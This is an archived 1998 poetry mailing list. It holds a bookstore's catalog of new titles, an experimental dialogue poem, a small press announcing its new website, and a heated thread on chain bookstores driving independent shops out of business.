20. _Moving Borders: Three Decades of Innovative Writing by Women_, ed. Mary Margaret Sloan, Talisman, $27.95. Niedecker, Guest, Fraser, Mayer, Waldrop, Brossard,Waldman, Weiner, F Howe, Hejinian, Lauterbach, Notley, Owen, Dahlen, Berssenbrugge, Child, Armantrout, Acker, S Howe, Drucker, Dreyer, Scalapino, Moriarty, DuPlessis, Dientsfry, Cha, Darragh, Harryman, Welish, Retallack, Templeton, Swensen, Myles, Moure, Ward, Day, Mac Cormack, Scott, Mullen, Hunt, Patton, Cole, Sloan, Bellamy, Grim, Roy, Gevirtz, Kim, Robertson, Neilson, & wow. Plus 150 pages of poetics.

21. _Writings 1903-1932_, Gertrude Stein, Library of America, $35. Includes Q.E.D., Three Lives, Portraits and Other Short Works, & The Autobiography of Alice B. Toklas. The Portraits and Other Short Works covers 375 pages and includes Tender Buttons, Yet Dish, Turkey and Bones and Eating and We Liked It, Lifting Belly, Marry Nettie, Acscents in Alsace, An Instant Answer or A Hundred Prominent Men, A Book Concluding With as a Wife Has a Cow, Composition as Explanation, An Acquaintance with Description, Patriarchal Poetry, Four Saints in Three Acts, and much else.

21. _Writings 1932-1946_, Gertrude Stein, Library of America, $35. Stanzas in Meditation, Henry James, Lectures in America, Narration: Lecture 3, What are

Masterpieces and Why are There So Few of Them, Geographical History of America, What Does She See When She Shuts Her Eyes, Picasso, The World is Round, Doctor Faustus Lights the Lights, Ida, Three Sisters Who Are Not Sisters, Brewsie and Willie, The Mother of Us All, Reflection on the Atomic Bomb.

22. _Free Space Comix_, Brian Kim Steffans, Roof, $9.95. "Hello! broken / "Grease!" cast throwing lots at the / Leprechaun / II -- fast as they could say "Sheena / Easton," / a lung collapsed. Where / is the teeming / parlor?"

23. _Tripwire: a journal of poetics_, ed Yedda Morrison & David Buuck, $6. Noah de Lissovoy, Eleni Sikelianos, Kathy Lou Schultz, Carolyn Castano, Rodrigo Toscano, Sarah Anne Cox, Elizabeth Robinson, Tan Lin, Sarah Rosenthal, Robert Hale, Jocelyn Saidenberg & Brian Strang, Tim Davis, Michelle Rollman, Elizabeth Treadwell, Myung Mi Kim, Dana Lomax, Molly Hankwitz, Poetry Center Archives at SF State, Thiagarajah Selvanithy, Mark Wallace, Sherry Brennan.

24. _The Movement of the Free Spirit_, Raoul Vaneigem, Zone, $12.50. Vaneigem examines the heretical and millenarian movements that challenged social and ecclesiastical authority in Europe from the 1200s into the 1500s. "What needs to be sought out is the kind of fullfillment that comes when the heart learns to extract from the uncertain or the unknown a quintessence of love that allows these circumstances to seem somehow favorable."

25. _WellWellReality [collaborations]_, Rosmarie & Keith Waldrop, Post-Apollo, $10. "body al- / together too / sophisticated / for the soul if sun / relentless burns crying _I_ its / image on our retina bit / by bit another"

26. _My Christmas Poem (Sixteen Inches of Snow and a Void)_, Mark Wallace, PNY/MEB, $5. "I write the day / my own special way-- / bring me as well your drifting gift."

Some Bestsellas:
Sound States: Innovative Poetics and Acoustic Technologies, ed A. Morris, $24.95.
Debbie: An Epic, Lisa Robertson, $14.
Artificial Heart, Peter Gizzi, $10.
A Thousand Years of Nonlinear History, Manuel De Landa, $24.50.
Ancestral Cave, Tom Mandel, $7.50.
The L=A=N=G=U=A=G=E Book, ed Andrews & Berstein, $18.95.
The Mooring of Starting Out: The First Five Books, John Ashbery, $25.
Some Other Kind of Mission, Lisa Jarnot, Burning Deck, $11.
Some of the Dharma, Jack Kerouac, Viking, $32.50.
Continuous Discontinuous, Andrew Levy, Potes & Poets, $13.50.
Another Language: Selected Poems, Rosmarie Waldrop, Talisman, $10.50.
Frame (1971-1991), Barrett Watten, Sun & Moon, $13.95.

On the Level Everyday: Selected Takes on Poetry and the Art of Living, Ted Berrigan, Talisman, $12.95.
The Psychic Life of Power, Judith Butler, Stanford, $15.95.
The Politics of Truth, Michel Foucault, Autonomedia, $8.
The Lost Lunar Baedeker, Mina Loy, FSG, $13.
Imagination Verses, Jennifer Moxley, $8.95.
_I-VI_, John Cage, $24.95.
MUSICAGE: Cage Muses on Words. Art. Music., Joan Retallack, $19.95.
Chain 4, $10.
Crayon Premier Issue: Jackson Mac Low Festschrift, $20.
Ghostlier Demarcations: Modern Poetry and the Material World, Michael Davidson, $35.
In Memory of My Theories, Rod Smith, $10.50.
Guy Debord--Revolutionary: A Critical Biography, Len Bracken, $14.95.
Essays Clinical & Critical, Guy Deleuze, $17.95.
il cuore : the heart, Selected Poems Katthleen Fraser, $12.95
Perhaps this is a rescue fantasy, Heather Fuller, $10.
Nothing Happened and Besides I Wasn't There, Mark Wallace, $9.50.

Poetics folks receive free shipping on orders of more than $20. Free shipping + 10% discount on orders of more than $30. There are two ways to order. 1. E-mail your order to [redacted] with your address & we will bill you with the books. or 2. via credit card-- you may call us at [redacted] or e-mail [redacted] w/ yr add, order, & card # & we will send a receipt with the books. We must charge some shipping for orders out of the US.

Bridge Street Books, 2814 Pennsylvania Ave NW, Washington, DC 20007.

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359. Alan Myouka Sondheim
(no subject)
Wed 15 Apr 1998

-

Julu and Jennifer and Nikuko and Julu and Jennifer Visit Nikuko

You'll get tired of seeing the shrines, Jennifer.
But, Julu, they fascinate me.
When you've been here six years like I have, they'll exhaust you.
We all go through the same things.
We all have been there before.
But, Julu, we're all different.
That's what I thought as well.
But you'll think differently.

Oh, it's Nikuko, hello.
Hello, Nikuko.
We're talking about shrines.
Ah yes, they fascinate me.
We Japanese people do not believe in anything.
We are very homogeneous in our one identity.
Ah, Nikuko, you always speak like you are reading Soseki.
Ah, that is true, Jennifer, I get all my thoughts from I am a Cat.
Yes, that is his most wonderful book.
You will get tired of reading books, Julu.
Ah, although I have read many books, I am already getting tired.
Books can be very tiring, especially after reading for six years.
You are making fun of me, Jennifer, but I have been here longer.
How long have you been here.
I have been in Fukuoka for six years and before that twenty in Tokyo.
Do you love Tokyo, Nikuko.
Yes, Julu, I do.
I love the old shrines which continue to fascinate me.
Shrines can be fascinating for many years.
There are so many to see and so many customs.
There are wonderful stories which readers of Gon will enjoy.
Ah, Jennifer, you will soon tire of manga, everyone does.
But Nikuko, I love manga for the wonderful graphics and high-powered sex.
The sex is very simple, but a lot of parts are cut out, Nikuko.
Do you think so, Julu.
Yes, I do, for example, the dildos and labia are now cut out.
Were they cut out before.
Yes they were cut out before.
There are so many men and women in manga.
I love the enormous breasts wet to the bursting point.
I love the big eyes and high cheekbones and spiky hair.
Everyone passes through that stage, Jennifer.
Do you think I am just passing through a stage, Nikuko.
Yes I do, Julu because you have just been here six months.
I have been here nine months, Julu.
I thought you were here six years, Nikuko.
I have been here all my life, Jennifer, because it is very beautiful.
I especially love the old shrines and the manga which are my favorite.
Perhaps you could be teasingly photographed for a manga.
Yes, that would be wonderful, to be teasingly photographed.
Perhaps I could pose in front of a wonderful old shrine.
I would be very religious in front of the shrine with bursting breasts.

Hello, Julu, welcome back.
I am very sorry but I had to leave for a moment.
I just had to look at some manga and walk around for good air.
Did you find the air very much to your liking.
Yes, the air around these shrines is very pleasant.
You will think otherwise, perhaps, when you are here longer.
Perhaps, since we gaijin are very homogeneous in our identity.
Do you think we think alike.
Yes, perhaps it becomes clear that we think alike, Julu.
Jennifer, do you have anything to say to this point.
Certainly, Nikuko, since for example we love Japanese food.
Julu, do you love Japanese food because you are here for six years.
Jennifer, I agree that it is a very short time and maybe it is otherwise.
Nikuko, that may be an answer to your thoughts on this matter.
Julu, I would have thought so, when I first arrived.
Everyone said, Jennifer, that I would pass through this.
Nikuko, you are more than correct, you are exact.
Yes, I do love shrines and my photographed breasts.
Everyone has homogeneous identities when they first arrive.
Bursting-manga wet my dreaming face and appetite for food.
There are times when Japanese books are loved the best by everyone.
Goodbye, Jennifer.
Goodbye, Julu.
Goodbye, Nikuko.
Goodbye, Jennifer.
Goodbye, Julu.
Goodbye, Nikuko.

↑ Index

360. Charles Alexander
moved site
Wed 15 Apr 1998

I was shocked to find out my local ISP, in a system configuration changed, lost about half of the web sites located there, including the one for Chax Press.

So Chax has a new site, albeit only a very slightly updated bit of information, with more to come over the next two months.

The site is now located at

http://alexwritdespub.com/chax

but if you happen to go to the old site at
http://personal.riverusers.com/~chax

it should take you to the new URL in about 6 seconds, or there's a link to click to get to the new URL, too.

charles

charles alexander :: poet and book artist :: [redacted] chax press :: alexander writing/design/publishing books by artists' hands :: web sites built with care and vision http://alexwritdespub.com/chax :: http://alexwritdespub.com

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361. daniel bouchard
Re: more closings
Wed 15 Apr 1998

My god! here I am in Cambridge helping people fight evictions and landlord harassment, and all the while the Real Evil is taking place at the quaint book shops down the street in Harvard Square (aka The Outdoor Mall).

Maria, how are these "ploys" of the chains apparent? I worked at three different Borders stores for a total (combined) of 3 years. I still have many friends who work at Borders as assistant managers (all over the country). Deploying staff to carry out ploys against independent bookstores must be a secret only you are in on.

I know a lot of stories of how employees are treated poorly (at best, like children), how they don't make a living wage, are intimidated for a variety of reasons, and so on. But the conspiracy you outline below is ludicrous. Don't get me wrong: I hate Borders and Barnes & Noble too. To be fair, I also hate Grolier, but that's another story.

The "chain" bookstores are demonized, no doubt about it. Fuck 'em, they deserve it. That doesn't give people leave however to spread war stories about the atrocities.

daniel bouchard

At 09:25 PM 4/14/98 -0500, Maria Damon wrote:
>apparently one ploy of the chain bookstores is to haunt independents
>looking for titles --in Cambridge, for inst, they'll go to Grolier's for
>poetry titles and Harvard books for theory and cult studs, stock up on
>those and put those sections in prominent places in their own chain store,
>then, after they've driven the indies out of business, phase out the poetry
>and the cult studs. so, i try not to buy books there no matter what, even
>if it means special ordering from an independent. but yes, my faves are

>the used bookstores, long may they thrive around the edges of commerce.
>
<<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
>>>>>>>><<<<<<<<<<<<<<<<<<

↑ Index

362. George Thompson
Re: more closings
Wed 15 Apr 1998

If Maria's conspiracy theory is sheer paranoia, it is shared by most well-informed indie book people. Reports on Barnes & Noble in particular show that it has targeted specific book markets wherever it has perceived a vulnerable indie, and it has gone in to complete the kill at every opportunity. This is not esoteric knowledge. Even PBS and CNN have done takes on the story.

The latest rumor is that they are now planning to move into the used book market. You will soon be watching your favorite used bookstores going under. Borders may not be as ugly about this, but there is no doubt that B & N is.

Daniel, I would urge your friends to treat B & N and Borders like their landlords: tell them to watch their backs.

GT.

> *My god! here I am in Cambridge helping people fight evictions and landlord harassment, and all the while the Real Evil is taking place at the quaint book shops down the street in Harvard Square (aka The Outdoor Mall).*
>
> *Maria, how are these "ploys" of the chains apparent? I worked at three different Borders stores for a total (combined) of 3 years. I still have many friends who work at Borders as assistant managers (all over the country). Deploying staff to carry out ploys against independent bookstores must be a secret only you are in on.*
>
> *I know a lot of stories of how employees are treated poorly (at best, like children), how they don't make a living wage, are intimidated for a variety of reasons, and so on.*
> *But the conspiracy you outline below is ludicrous. Don't get me wrong: I*

> *hate Borders and Barnes & Noble too. To be fair, I also hate Grolier, but that's another story.*
>
> *The "chain" bookstores are demonized, no doubt about it. Fuck 'em, they deserve it. That doesn't give people leave however to spread war stories about the atrocities.*
>
> *daniel bouchard*
>
> *At 09:25 PM 4/14/98 -0500, Maria Damon wrote:*
> *apparently one ploy of the chain bookstores is to haunt independents looking for titles --in Cambridge, for inst, they'll go to Grolier's for poetry titles and Harvard books for theory and cult studs, stock up on those and put those sections in prominent places in their own chain store, then, after they've driven the indies out of business, phase out the poetry and the cult studs. so, i try not to buy books there no matter what, even if it means special ordering from an independent. but yes, my faves are the used bookstores, long may they thrive around the edges of commerce.*
>
> *<<<<<<>>>>>>>>>>>>>>>>>>*
> *Daniel Bouchard*
> *The MIT Press Journals*
> *Five Cambridge Center*
> *Cambridge, MA 02142*
>
> [redacted]
> *phone:* [redacted]
> *fax:* [redacted]
> *<<<<<<<<<<<<<<<<*

↑ Index

363. **Gary Sullivan**
Re: more closings
Wed 15 Apr 1998

Daniel:

There was a senate hearing on B&N's practices several years back . . . you can find it in the library . . . Maria's not at all paranoid . . . Borders totally fucked Dan Odegaard out of a bookstore maybe 5 years ago in MPLS . . . a couple of their coprorate heads came & met with Dan . . . told him if he didn't sell to them, they'd move in anyway & screw his business . . . He declined their offer . . . they're now sitting in the space where his bookstore used to be . . .

I worked for Legal Aid while in MPLS . . . helped tenants go up against the worst slimeball landlords there . . . and researched & wrote about Barnes & Noble at the same time . . . not sure why you priviledge one concern over the other . . . it might surprise you to know that a group of concerned MPLS citizens actually stopped a Starbucks from moving in, once . . . Starbucks uses similar practices . . . make deals with landlords to ensure exclusivity . . . always move in near independents, ultimate goal being to drive them out of business . . .

Again, this is all stuff well-documented . . . look into it before accusing others of being paranoid . . . "a courtesy thing" . . .

Thanks,

Gary

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364. **Mark Prejsnar**
Re: more closings
Wed 15 Apr 1998

Although I'm mostly a library person, in my secret nonpoet identity, I have had some contact with book retail; and I've worked there some.

George Thompson and Maria are right: the basic strategy Maria outlines is a very ordinary marketing tactic, from the capitalist point of view and *is indeed* something that goes on.

Dan Bouchard is more than a little naive about this; and just why is he so het up (as well as wrong??)

↑ Index

365. **daniel bouchard**
Re: more closings
Wed 15 Apr 1998

At 09:22 AM 4/15/98 -0400, George Thompson wrote:
>Daniel, I would urge your friends to treat B & N and Borders like their
>landlords: tell them to watch their backs.

They don't need me to tell them. This is a job axiom we all share: booksellers, teachers, paper-shufflers.

I don't watch the news programs you mention, and have no experience with BarnsNoble.

- db

<<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
>>>>>>><<<<<<<<<<<<<<<<<<

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366. **daniel bouchard**
Re: more closings
Wed 15 Apr 1998

At 09:35 AM 4/15/98 -0400, Mark Prejsnar wrote:
>Dan Bouchard is more than a little naive about this; and just why is he so
>het up (as well as wrong??)
>

Because it is easier to be naive and wrong than it is to be Mark Prejsnar.

daniel bouchard

<<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
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367. **Maria Damon**
Re: more closings
Wed 15 Apr 1998

---

perhaps this is a paranoid fantasy on the part of the person i heard it from; it was told to me by the proprietor of one of the independent bookstores in harvard square. keep up the good fight.

At 9:07 AM -0400 4/15/98, daniel bouchard wrote:
>My god! here I am in Cambridge helping people fight evictions and landlord
>harassment, and all the while the Real Evil is taking place at the quaint
>book shops down the street in Harvard Square (aka The Outdoor Mall).
>
>Maria, how are these "ploys" of the chains apparent? I worked at three
>different Borders stores for a total (combined) of 3 years. I still have
>many friends who work at Borders as assistant managers (all over the
>country). Deploying staff to carry out ploys against independent bookstores
>must be a secret only you are in on.
>
>I know a lot of stories of how employees are treated poorly (at best, like
>children), how they don't make a living wage, are intimidated for a variety
>of reasons, and so on.
>But the conspiracy you outline below is ludicrous. Don't get me wrong: I
>hate Borders and Barnes & Noble too. To be fair, I also hate Grolier, but
>that's another story.
>
>The "chain" bookstores are demonized, no doubt about it. Fuck 'em, they
>deserve it. That doesn't give people leave however to spread war stories
>about the atrocities.
>
>
>daniel bouchard
>
>
>
>At 09:25 PM 4/14/98 -0500, Maria Damon wrote:
>>apparently one ploy of the chain bookstores is to haunt independents
>>looking for titles --in Cambridge, for inst, they'll go to Grolier's for
>>poetry titles and Harvard books for theory and cult studs, stock up on
>>those and put those sections in prominent places in their own chain store,
>>then, after they've driven the indies out of business, phase out the poetry
>>and the cult studs. so, i try not to buy books there no matter what, even
>>if it means special ordering from an independent. but yes, my faves are
>>the used bookstores, long may they thrive around the edges of commerce.
>>
><<<<<<>>>>>>>>>>>>>>>>
>Daniel Bouchard
>The MIT Press Journals
>Five Cambridge Center
>Cambridge, MA 02142

>
>[redacted]
>phone: [redacted]
> fax: [redacted]
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368. **daniel bouchard**
Re: more closings
Wed 15 Apr 1998

All this and Maria hasn't even cyber-slapped me yet. Here is what I know: my experiences at Borders (and subsequent information from people who have stayed with the company). From this framework, I stand by my original reply to Maria. The idea that Borders would consider it worth their time to infiltrate small shops like Grolier and Harvard to copy their title stock AS A MEANS of driving them out of business continues to strike me as pretty stupid.

But my naivete is apparent. My credibility to speak of capitalist business practices, marketing strategies, and so forth wanes in the face of B&N's business practices and Starbuck's real estate deals.

Why do I privelege one concern (organizing tenants) over another (defending small bookstores)? Well, why do people defend a particular for-profit small bookstore when it's vulnerable to a bigger for-profit bookstore?

Finally--especially to you Gary--go back and read the three messages I posted this morning. You will not find the word "paranoid" in them, nevermind my accusing someone of being paranoid. Please read what is right before your eyes before replying, "a courtesy thing."

At 09:32 AM 4/15/98 -0400, Gary Sullivan wrote:
>Again, this is all stuff well-documented . . . look into it before accusing
>others of being paranoid . . . "a courtesy thing" . . .

- db

<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]

fax: [redacted]
>>>>>>><<<<<<<<<<<<<<<<

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369. **daniel bouchard**
Re: more closings
Wed 15 Apr 1998

If it was the proprietor of the Grolier, then "paranoid" is the right word.

At 08:57 AM 4/15/98 -0500, Maria Damon wrote:
>perhaps this is a paranoid fantasy on the part of the person i heard it
>from; it was told to me by the proprietor of one of the independent
>bookstores in harvard square. keep up the good fight.
>
<<<<<<>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
>>>>>>><<<<<<<<<<<<<<<<

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370. **Elizabeth Hatmaker**
Re: more closings
Wed 15 Apr 1998

Dan,

I'll bite: What's the problem with Groliers? (other then they don't have enough room and I keep tripping over stuff when I go in)

E. Hatmaker

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371. **Gary Sullivan**
Re: more closings
Wed 15 Apr 1998

Hi, Daniel:

I've gone back over your words. You tell Maria "Deploying staff to carry out ploys against independent bookstores must be a secret only you are in on" and "the conspiracy you outline below is ludicrous." It seems obvious to me that, as well as being dismissive and condescending here, you're accusing Maria of being paranoid.

Why I wouldn't privilege one concern over the other: in both instances what we're talking about are unscrupulous & often totally illegal abuses of real estate. I'm equally concerned about smaller, single-owner businesses participating in similar abuse, as & when it happens.

But, maybe more to the point: as well as being aware of individual instances like these . . . well, I think it helps to have as good a sense as you can as to how these things, generally, can take place . . . some cognizance of the social/economic system(s) that allow for these sorts of manifestations.

Yours,

Gary

↑ Index

372. **MAYHEW**
More Closings
Wed 15 Apr 1998

St. Louis book chronicles:

A couple of years ago I walked into an independent bookstore in St. Louis looking for Ishiguro's _The Unconsoled_ which had been published a few weeks before--a present for a family member. No luck, so I had to go to a still independent, but larger store (since purchased by Border's).

I was sorry when the smaller independent store went out of business, since they had a great poetry section, yet I understood. They were forcing customers like me to go the stores where I was assured of finding so obvious a book--a new novel by a well-known novelist published by a major commercial press.

I was sorry when the local independent mega-store was bought out by Border's also. Yet this "independent" store was already, in their own business practices, fairly ruthless, engaging in some of the same tactics mentioned in relation to B&B and B's. Trying to out-border borders, they ended up being swallowed up anyway.

Luckily, Left Bank books is still open in the Central West End.

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas

[redacted]

↑ Index

373. **Maria Damon (Maria Damon)**
Re: more closings
Wed 15 Apr 1998

---

with respect to harvard square, it was barnes and nobles, not borders, that was the bookstore in question. though the borders gary speaks of, that took over odegaards, is right next to myhouse. occasionally i do buy books there, but after all this info, will be even more reluctant in the future.

At 10:09 AM 4/15/98, daniel bouchard wrote:
>All this and Maria hasn't even cyber-slapped me yet. Here is what I know: my
>experiences at Borders (and subsequent information from people who have
>stayed with the company). From this framework, I stand by my original reply
>to Maria. The idea that Borders would consider it worth their time to
>infiltrate small shops like Grolier and Harvard to copy their title stock AS
>A MEANS of driving them out of business continues to strike me as pretty
>stupid.
>
>But my naivete is apparent. My credibility to speak of capitalist business
>practices, marketing strategies, and so forth wanes in the face of B&N's
>business practices and Starbuck's real estate deals.
>
>Why do I privelege one concern (organizing tenants) over another (defending
>small bookstores)? Well, why do people defend a particular for-profit small
>bookstore when it's vulnerable to a bigger for-profit bookstore?
>
>Finally--especially to you Gary--go back and read the three messages I
>posted this morning. You will not find the word "paranoid" in them,
>nevermind my accusing someone of being paranoid. Please read what is right
>before your eyes before replying, "a courtesy thing."
>
>
>At 09:32 AM 4/15/98 -0400, Gary Sullivan wrote:
>>Again, this is all stuff well-documented . . . look into it before accusing
>>others of being paranoid . . . "a courtesy thing" . . .
>
>
>- db
>

>
><<<<<<>>>>>>>>>>>>>>>>>>
>Daniel Bouchard
>The MIT Press Journals
>Five Cambridge Center
>Cambridge, MA 02142
>
>[redacted]
>phone: [redacted]
> fax: [redacted]
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374. **morpheal**
Re: more closings
Wed 15 Apr 1998

> *My god! here I am in Cambridge helping people fight evictions and landlord harassment, and all the while the Real Evil is taking place at the quaint book shops down the street in Harvard Square (aka The Outdoor Mall).*

As the effective size of corporations grows, and lesser economic entities find it harder and harder to compete effectively with those that are growing, amalgamating, joint venturing, and consolidating....this reflects into the book trade as well as everywhere else....

In the book trade one of the biggest problems has been the difficulty small presses, and self published authors, have in obtaining any meaningful distribution and promotion. This leads to a few getting most of the market share and the others not even recouping costs,....With fewer and fewer independent dealers, there will be even less opportunity for many individuals. Fewer will have any chance to be known, even in lesser ways, and more shall have their work perish, at an ever faster pace.

The wierdest part about it is that it is also reflecting into little known affinity and interest groups, where a similar attitude is happening as occurs in big business and big distribution. Fewer and fewer individuals are having any real chance of any success, even in terms of getting meaningful readings as to their writing. A smaller and smaller group tend to get the good gigs, paid or unpaid, where they can get significant, meaningful, exposure and a chance at any kind of hope of any success.

In past years one such organization allowed every member who attended their spring meeting to read something of their work. It was an afternoon of sharing new creative efforts by all, where anyone could participate. Now this has

changed, to a big publisher sponsored reading by four or five of the better established, better known, names, from within the organization. They are now the Barnes and Nobles, Chapters, or whatever chain congolomerate equivalent, while everyone is merely a "consumer".

Is this to be the current and future trend ?

A trend of more and more silenced voices in the arts ?

M.

↑ Index

375. **Maria Damon (Maria Damon)**
Re: report on Bromige reading
Wed 15 Apr 1998

---

cd we get some reports on the Mackey extravaganzas in chicago and indiana? thanks guyzies

At 8:43 AM 4/14/98, MAYHEW wrote:
>Approximately fifty people heard poet David Bromige read selections from
>his work last night (Monday, April 13) at the Canterbury House near the
>campus of the University of Kansas in Lawrence. The audience responded
>warmly to Bromige's unprepossessing manner and witty, serious poems.
>
>Speaking only for myself... I had not been to a poetry reading in a
>couple of years and felt invigorated afterwards. Thanks to Maryrose Larkin
>and everyone else who brought Bromige to Lawrence.
>
>Jonathan Mayhew
>Department of Spanish and Portuguese
>University of Kansas
>[redacted]
>[redacted]

↑ Index

376. **Keston Sutherland**
Re: more closings (fwd)
Wed 15 Apr 1998

---------- Forwarded message ----------
Date: Wed, 15 Apr 1998 11:18:11 -0400
From: daniel bouchard <[redacted]>
To: [redacted]
Subject: Re: more closings

Keston,

I've exceeded my posting limit for the diem (5). Can you please forward this to the UberList? This is it for me today.

Date: Wed, 15 Apr 1998 11:14:01 -0400
To: buff post
From: daniel bouchard <[redacted]>
Subject: Re: more closings

What "seems obvious" to you Gary is not obvious to everyone. Or, if I am speaking again beyond my naive realm of knowledge, it is not obvious to me. I would rather be quoted than interpreted, especially in a tricky medium such as e-mail.

Anyway, we now know that the person who IS in on the secret ploys of the big bookstores is "the proprietor of one of the independent bookstores in harvard square."

- db

At 10:48 AM 4/15/98 -0400, Gary Sullivan wrote: I've gone back over your words. You tell Maria "Deploying staff to carry out ploys against independent bookstores must be a secret only you are in on" and "the conspiracy you outline below is ludicrous." It seems obvious to me that, as well as being dismissive and condescending here, you're accusing Maria of being paranoid.

<<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
>>>>>>><<<<<<<<<<<<<<<<<

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377. **k. lederer**
Re: more closings
Wed 15 Apr 1998

Re: Morph et al's worries....

It seems to me that the greatest hope for the avaialability of lots and lots of writers would be something like this list. I mean Rod just got to post a list of new books to a pretty big chunk of the poetry readers who would purchase such books.

I also think that Amazon and other electronic "bookstores" will have a pronounced and really positive effect on the book industry.

I mean, it's not like B & N has any real interest in keeping us all from, say, HD. They just don't have the space or the inclination to necessarily purvey her books.

I think a much larger issue in this instance (re: availability) would be the buying practices of libraries.

I like to browse around in a used bookstore as much as the next guy...but I don't really mind the idea of buying my books over the net.

I understand that one of the issues here regards the owners of these small stores. But (as someone has already pointed out, I believe) why are these owners any "nicer" than other owners?

Best,
Katy

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378. **Judy Roitman**
Re: more closings
Wed 15 Apr 1998

> *Daniel:*
>
> *There was a senate hearing on B&N's practices several years back . . . you can find it in the library . . . Maria's not at all paranoid . . . Borders totally fucked Dan Odegaard out of a bookstore maybe 5 years ago in MPLS . . . a couple of their coprorate heads came & met with Dan . . . told him if he didn't sell to them, they'd move in anyway & screw his business . . . He declined their offer . . . they're now sitting in the space where his bookstore used to be . .*
> *.*
>
> *I worked for Legal Aid while in MPLS . . . helped tenants go up against the worst slimeball landlords there . . . and researched & wrote about Barnes & Noble at the same time . . . not sure why you priviledge one concern over the other . . . it might surprise you to know that a group of concerned MPLS citizens actually stopped a Starbucks from moving in, once . . . Starbucks uses similar practices . . . make deals with landlords to ensure exclusivity . . . always move in near independents, ultimate goal being to drive them out of business . . .*
>
> *Again, this is all stuff well-documented . . . look into it before accusing*

> *others of being paranoid . . . "a courtesy thing" . . .*
>
> *Thanks,*
>
> *Gary*

The natural food chains use similar tactics. Here in Lawrence KS we drove one (Wild Oats) out of town. That the new Borders is indeed only a half a block away from the one remaining semi-serious indie bookstore makes it easier to park when going to the indie, but unfortunately the indie is quite small and necessarily has large gaps. Luckily the local Borders hasn't figured out the market (I will drop no hints here) and therefore is not more attractive. Unluckily before it opened the two other semi-serious indies closed in anticipation of bankruptcy.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | memory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
----
http://www.math.ukans.edu/~roitman/

↑ Index

379. **Judy Roitman**
Re: more closings
Wed 15 Apr 1998

> *Why do I privelege one concern (organizing tenants) over another (defending small bookstores)? Well, why do people defend a particular for-profit small bookstore when it's vulnerable to a bigger for-profit bookstore?*

This is easy to answer. Small bookstores make independent judgements when buying books, and the existence many small bookstores makes the existence of many publishers possible.

Just try getting your local micro-press, or any press not on the master list, into Borders or B & N. Books by local authors occasionally manage to get in (shelved in the local interest section, no matter what sort of book it is), and other books absolutely cannot.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas |

memory fails Lawrence, KS 66045 | these are the days."
[redacted] | fax: [redacted] | Larry Eigner,
1927-1996 ---------- Note new area
code ----------
http://www.math.ukans.edu/~roitman/

↑ Index

380. **Keston Sutherland**
Re: more closings
Wed 15 Apr 1998

> *Just try getting your local micro-press, or any press not on the master list, into Borders or B & N. Books by local authors occasionally manage to get in (shelved in the local interest section, no matter what sort of book it is), and other books absolutely cannot.*

I was pleased to find books by Ange Mlinko, Lisa Jarnot, Peter Gizzi and several other young writers at Waterstone's on Newbury St. in Boston. It's a massive store, and a massive chain (in the UK particularly). This is, though, as you say rare; but maybe the beginning of a trend? It doesn't sound as if anybody here wouldn't -want- their book to be in Borders, or would refuse to have it there -- should the big co.s decide to patronise books relatively marginal to money, how would they be stopped? Why do so many 'small press' books in the US have ISBNs? Doesn't everyone quite plainly WANT to be less benooked? Follow your own logic..

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381. **R.Gancie/C.Parcelli**
Barnes & Noble & Social Darwinian
Wed 15 Apr 1998

I haven't been following the discussion about Barnes & Noble and the demise of the small independent bookstore; I've been too busy running my own bookstore here in Washington DC, the country's county seat of corruption. No one should equate what Barnes & Noble or what any other corporation does with the natural order. Here in Washington we stay acutely aware of how the Big Boys manipulate the system to their advantage. They write legislation that is favorable to their industry. They litter my pseudo-intellectual landscape with think-tank whores whose sole purpose is to influence legislation and sell anti-democratic ideas to a gullible populace e.g. the privatization of Social Security or the natural efficacy of markets. They offer political appointees, regulators, elected officials and members of the military lucrative positions, de facto bribes, for

supporting government spending for their particular products and services. They have off-shore bank accounts that are beyond U.S.tax laws. They run their operations in the red, borrowing from cronies in the banking industry, in order to drive weaker competitors out of business. Then they cut back services and employees in the name of greater efficiency. I could go on, but the point is if it was just a matter of competition, especially with books, knowledge should be king. Further, with books a knowledge of their content can be detrimental to your business if you let that knowledge cloud your 'business sense' as I so often do. Indeed, books like any other commodity is subject to market forces. But with outfits like Barnes & Noble and Borders you reach a new threshold where capital concerns eliminate all others. You may have your backlist today but what about when all the independents have been squeezed out. My shop is used and out-of-print. Norman Kemp Smith's Commentary on Critique of Pure Reason is Out-Of-Print! That's the market at work. A few years ago before the new edition of Yeat's collected poetry had been published, MacMillan almost dropped the title from its list because their computerized sales system showed that not enough copies had been sold that year to justify continuing publication. A junior editor perusing the print-out discovered this abomination and the Yeat's title was restored. This is what we are moving toward. The price I pay daily for rescuing some of the best our culture and other cultures have produced is eighty hour work weeks, near poverty, and the ridicule and derision of a society that largely because of material excess has discarded its instinct and empathetic regard for life.---Carlo Parcelli

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382. Gary Sullivan
Re: more closings (fwd)
Wed 15 Apr 1998

Hi, Daniel:

I wholly understand your concern not to be misinterpreted. Anyway, I did quote you, & others can decide for themselves whether or not an accusation of paranoia seemed likely in your words. I apologize for my own response if you indeed didn't mean it.

